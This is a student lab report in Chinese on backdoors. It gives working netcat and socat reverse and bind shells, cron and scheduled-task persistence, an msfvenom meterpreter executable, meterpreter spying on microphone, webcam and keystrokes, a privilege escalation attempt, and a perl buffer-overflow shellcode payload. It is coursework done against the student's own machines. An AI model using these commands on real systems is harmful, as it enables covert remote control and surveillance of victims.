20174304王天政《网络对抗技术》Exp2-后门原理与实践

一、实验目标

1.1 实验要求

  • 使用nc实现win,mac,Linux间的后门连接
  • meterpreter的应用
  • MSF POST 模块的应用

1.2 实验内容

  • 使用netcat获取主机操作Shell,cron启动
  • 使用socat获取主机操作Shell,任务计划启动
  • 使用MSF  meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
  • 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
  • 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

二、实验准备

2.1 关闭防火墙

2.1.1主机

 2.1.2虚拟机

kali关闭防火墙,会用到命令ufw,初次使用需要安装,apt-get install ufw,关闭为ufw disable,开启为ufw enable。

2.2 ncat&socat

nc又名netcat、ncat,是一个底层工具,进行基本的TCP、UDP数据收发,常与其他工具结合使用,起到后门的作用。Linux系统和Mac系统往往自带nc,Windows系统则需要自行下载。

socat是 Linux 下的一个多功能的网络工具,名字来由是 Socket CAT,功能与 Netcat 相似,可以看做是 Netcat 的加强版。

2.2.1 主机下载ncat&socat

下载Netcat和Socat文件,并解压后放到相应的文件夹,在cmd界面中运行ncat和socat.exe,若得到提示,说明安装成功。

 

2.2.2 Win获得Linux Shell

在主机cmd中输入ipconfig查询自己主机的IP地址。

 

 主机的IP地址为192.168.0.100

使用ncat程序监听本机的4304端口,输入ncat -l -p 4304

 在kali端进行反弹连接windows的4304端口,nc 192.168.0.100 4304 -e /bin/sh

 回到主机cmd,输入ls命令,windows获得kali的Shell

2.2.3  Linux获得Win Shell

在虚拟机kali命令行中输入ip add来查询虚拟机IP地址

 虚拟机IP地址为192.168.124.129

 在虚拟机kali命令行运行监听指令 nc -l -p 4304

 在主机端,反弹连接kali的4304端口,cmd中输入命令ncat -e cmd.exe 192.168.124.129 4304

回到虚拟机,可以发现Linux获得windows的shell

 

2.2.4 nc传输数据

windows运行监听指令ncat -l 4304监听4304端口

 kali反弹连接4304端口,运行指令nc 192.168.0.100 4304

 输入内容后回车,主机cmd即可显示,同样,在cmd输入内容后回车,虚拟机命令行中也会显示

2.2.5 使用ncat传输文件

主机端监听本机4304端口,并把收到的数据保存到4304.txt中,cmd 中输入ncat -l 4304>4304.txt

先在kali中创建4304.txt文件,kali反弹连接到 Windows的4304端口,并将kali端的文件4304.txt传输过去,终端输入 nc 192.168.0.100 4304 <4304.txt

2.3  Meterpreter

后门就是一个程序。

传统的理解是:有人编写一个后门程序,大家拿来用。

后来有一些牛人呢,就想编写一个平台能生成后门程序。

这个平台呢,把后门的基本功能、扩展功能、编码功能、运行平台以及运行参数,全都做成零件或可调整的参数。

用的时候按需要组合,就可以生成一个可执行文件。

三、实验过程

3.1使用netcat获取主机操作Shell,cron启动

在windows中开启监听4304端口,cmd中输入 ncat.exe -l 4304 命令

在虚拟机kali端,输入指令crontab -e以编辑任务,crontab表示定时任务,-e表示编辑,选择第三个编辑器进入,

在最后一行添加30 * * * * /bin/netcat 192.168.0.100 4304 -e /bin/sh,即每个小时的第30分钟反向连接Windows主机的4304端口

 保存并退出,输入指令crontab -l以确认保存,到时间后即在cmd中输入指令ls,可以发现已经获得shell

3.2使用Socat获取主机操作Shell,任务计划启动

在Windows系统下,打开控制面板->系统和安全->管理工具,在任务计划程序中点击创建任务,选择触发器选项卡,点击新建,将开始任务设置为工作站锁定时

 点击确定后,在操作->新建->程序或脚本中选择 socat.exe 文件的路径,在添加参数一栏填写 tcp-listen:4304 exec:cmd.exe,pty,stderr,这个命令的作用是把 cmd.exe 绑定到端口 4304 ,同时把 cmd.exe 的 stderr 重定向到 stdout 上

 然后实施触发条件,使用win+l使屏幕锁屏,让条件触发。得到一个cmd执行页面,页面不关,进入kali页面输入socat - tcp:192.168.0.100:4304,这里的第一个参数-代表标准的输入输出,第二个表示连接到 Windows 主机的 4304 端口,此时可以发现已经成功获得了 cmd shell

 

 回到任务程序计划库,将正在运行的任务关闭,让其回归就绪状态

3.3使用MSF meterpreter生成可执行文件,利用ncat传送到主机并运行获取主机Shell

在kali终端中运行命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.124.129 LPORT=4304 -f exe > 20174304_backdoor.exe

该命令执行成功后,会生成一个后门可执行程序:20174304_backdoor.exe

 在Windows命令行中进入ncat目录下,执行命令ncat.exe -l 4304 > 20174304_backdoor.exe,使主机进入接收文件模式

 在kali中执行命令nc 192.168.0.100 4304 < 20174304_backdoor.exe,将刚生成的文件从kali发送到主机

 kali中输入msfconsole,进入MSF控制台

use exploit/multi/handler使用监听模块
set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload 
set LHOST 192.168.124.129,Kali的IP,和生成后门程序时指定的IP相同 
set LPORT 4304,使用相同的端口

最后输入 exploit 设置完成,开始监听

 双击打开 20174304_backdoor.exe文件,回到虚拟机,用ipconfig来验证,虚拟机中已经获取了windows的shell

3.4 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

3.4.1使用record_mic指令可以截获一段音频

3.4.2使用webcam_snap指令可以使用摄像头进行拍照

3.4.3使用screenshot指令可以进行截屏

3.4.4输入 keyscan_start 开始记录下击键,输入 keyscan_dump 指令读取击键的记录(第一遍未输入)

3.4.5使用getuid指令查看当前用户,使用getsystem指令进行提权

 环境错误提权失败

后上网查找以及参考张博同学的博客才基本了解原因

首先输入msfconsole,进入MSF命令行,进行如下操作:

  输入use exploit/multi/handler,获取multi/hander模块

  输入use exploit/windows/local/ask

  输入set payload windows/meterpreter/reverse_tcp,指定payload

  输入set lhost 192.168.124.129

  输入set filename win_update.exe

  输入set session 1,设定会话序号

  输入options,可以查看当前在Windows/local/ask下面的设置

继续输入exploit,执行刚刚生成的win_update.exe文件

 依旧失败,实在没有找到原因

3.5可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

首先准备一段Shellcode

然后修改一些设置

接下来,用perl来准备我们要输入到pwn4304里的十六进制数,指令为

perl -e 'print "A" x 32;print"x**x**xffxffx31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input_04

接下来我们来确定x**x**到底该填什么。打开一个终端注入这段攻击buf:(cat input_04;cat) | ./pwn4304

 再开另外一个终端,用gdb来调试pwn4304这个进程:

1.找到pwn4304的进程号

 

 进程号为:1590

2.启动gdb调试这个进程

 3.通过设置断点,来查看注入buf的内存地址

 发现断点在0x080484ae

输入break *0x080484ae设置断点,在另外一个终端按下回车,回到gdb终端,输入info r esp,查看栈顶指针

位置是在0xffffd6ac,那么shellcode就在高4个字节的地址,即0xffffd6b0,成功找到shellcode的起始地址后,将原文件中的数据进行修改为

perl -e 'print "A" x 32;print"xb0xd6xffxffx31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input_4304

修改之后将其输入到pwn4304中

然后在另一个终端输入msfconsole,并打开监听。

use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1 
set LPORT 4444 //这两个都是根据shellcode的指定内容来选择的。
show options
exploit

在原来的终端输入命令(cat input_4304;cat) | ./pwn4304,然后再按一次回车,在另一个终端就可以得到shell开始运行

 四、思考与总结

4.1 基础问题回答

例举你能想到的一个后门进入到你系统中的可能方式?

  安装不安全、盗版的软件,下载来历不明的文件

例举你知道的后门如何启动起来(win及linux)的方式?

       Windows:自启动或伪装之后引诱用户主动启动

       Linux:注入shellcode、crontab定时启动

Meterpreter有哪些给你映像深刻的功能?

  使用主机的麦克风、摄像头、对主页进行截图、获取键盘输入记录以及提权

如何发现自己有系统有没有被安装后门?

  查看有没有开放异常的端口;利用正规杀毒软件的检测;任务管理器查看有无异常进程;查看自启动的程序有无异常等

4.2 实验总结与体会

本次试验相比于上次的实验要简单些,只需要执行一些简短的、连续的指令,后面部分提权和选做内容的难度比较大,花了很长的时间,看了很多人的博客,才比较勉强的做了出来,尤其是两个的最后一步,做了很多很多次。第四部分提权,看了张博同学的博客,照着做了一遍,但最后一步依旧卡住做不出来,看了网上说的win10太强,也不知道真假;选做的内容需要用到实验一的知识,可以顺带复习巩固一下前面的知识点以及操作,最后一步与实验一的时候一样做了很多遍依旧是经常出现段错误,后来重新启动隔了一段时间就可以了。实验最大的收获是网络安全方面,我关掉防火墙却还做的如此艰难,那些黑客实在是太强了,轻松利用后门漏洞进行攻击,同时也提醒我们,一定要有安全意识,定期查杀病毒、修补漏洞,不安全的东西一定不要打开。希望以后能够学到更多的防御后门修补漏洞的知识以及方法。

原文地址:https://www.cnblogs.com/wtz0409/p/12533205.html